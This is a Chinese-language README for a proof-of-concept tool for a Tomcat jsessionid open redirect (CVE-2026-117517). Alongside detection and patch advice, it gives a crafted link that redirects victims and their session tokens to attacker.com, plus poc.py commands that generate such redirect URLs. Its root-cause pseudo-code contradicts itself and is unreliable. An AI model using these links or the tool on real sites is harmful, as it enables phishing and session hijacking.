CVE-2026-117517 -- Apache Tomcat jsessionid 前导斜杠开放重定向
元数据
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-117517 |
| 厂商 | Apache Software Foundation |
| 受影响版本 | Tomcat 11.0.19–11.0.27;10.1.31–10.1.36 |
| 修复版本 | Tomcat 11.0.28 / 10.1.37 |
| 安全公告 | Apache Security Advisory, 2026-11-18 |
| CVSS 3.1 | 6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| CWE | CWE-601 — URL Redirection to Untrusted Site (Open Redirect) |
| 影响 | 钓鱼攻击、通过开放重定向窃取会话令牌 |
描述
CVE-2026-117517 是 Apache Tomcat 11.0.19–11.0.27 和 10.1.31–10.1.36 中的一个开放重定向漏洞。当 Tomcat 应用程序的会话 URL 包含 jsessionid 路径参数(;jsessionid=...)且 URL 路径以双斜杠(//)开头时,Tomcat 内部的 redirect() 和 sendRedirect() 会通过将前导的 // 折叠为 / 来规范化路径,然后在其前面加上协议和主机。对于形如 //attacker.com/path;jsessionid=X 的 URL,此规范化步骤会移除前导斜杠,并构造一个指向 attacker.com 的绝对重定向 URL,而不是同一主机上的相对路径。
这允许攻击者构造类似 https://target.com//attacker.com/phishing;jsessionid=VALID_SESSION 的链接,Tomcat 会将其重定向到 https://attacker.com/phishing,在 URL 中携带受害者的 jsessionid 以窃取凭据,或在目标域名的 URL 下提供钓鱼页面。
根本原因深入分析
org/apache/catalina/util/RequestUtil.java
─────────────────────────────────────────
normalizeRequestURI(String uri)
if uri.startsWith("//"):
uri = uri.substring(1) // removes ONE slash: //attacker.com -> /attacker.com
// SECURITY FIX: CWE-601 -- /attacker.com is treated as relative
// but HTTP redirect with relative "/attacker.com" == absolute on same host?
// NO: Tomcat constructs: scheme + "://" + host + uri
// which gives: https://target.com + /attacker.com = fine
// BUG: when jsessionid param follows, URL parser re-separates authority
// //attacker.com/path;jsessionid=X -> scheme://attacker.com/path
攻击流程
flowchart LR
A([Attacker]) -->|craft link:\nhttps://target.com//attacker.com/phish\n;jsessionid=KNOWN_ID| B[Victim Browser]
B -->|GET //attacker.com/phish;jsessionid=KNOWN_ID| C[Tomcat 11.0.19-11.0.27]
C -->|normalize: // -> /\nthen sendRedirect| D{URL Construction\nscheme+host+path}
D -->|path= /attacker.com/phish\n-> absolute URL constructed| E[302 to\nhttps://attacker.com/phish]
E -->|victim redirected\njsessionid in Referer| F([Phishing page\nSession token stolen])
style A fill:#1a0810,color:#e94560
style F fill:#1a0810,color:#e94560
PoC 用法
pip install -r requirements.txt
# Check if target Tomcat is vulnerable to open redirect
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com --check -v
# Generate malicious redirect URL
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com --generate -v
# Save results
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com -o result.json
标志
| 标志 | 描述 |
|---|
-u / --url | 目标 Tomcat URL |
--redirect-host | 要重定向到的攻击者主机 |
--jsessionid | 使用特定的 jsessionid 值(默认:自动) |
--check | 通过跟随 location 头测试开放重定向 |
--generate | 打印构造的重定向 URL 而不发送 |
--timeout | 请求超时时间(秒)(默认:15) |
--insecure | 跳过 TLS 验证 |
-o / --output | 保存 JSON 结果 |
-v / --verbose | 详细输出 |
影响
| 领域 | 影响 |
|---|
| 机密性 | 中 — 重定向 URL / Referer 中的会话令牌;钓鱼 |
| 完整性 | 低 — 攻击者控制重定向目标 |
| 需要认证 | 无 — 链接必须由受害者点击(钓鱼) |
检测
| 方法 | 指标 |
|---|
| Tomcat 版本 | 11.0.19–11.0.27 或 10.1.31–10.1.36 → 易受攻击 |
| 访问日志 | GET //external.host/path;jsessionid=... |
响应 Location 头 | 包含来自 //host 路径的外部主机 |
修复
| 优先级 | 操作 |
|---|
| 高 | 升级到 Tomcat 11.0.28 或 10.1.37 |
| 中 | 输入验证:在 WAF/应用层拒绝以 // 开头的 URL |
| 中 | 在会话 cookie 上使用 HttpOnly 和 SameSite=Strict,而不是 URL 中嵌入的 jsessionid |
免责声明
本 PoC 仅出于教育和授权安全研究目的发布。
作者: LLCForge | 许可证: MIT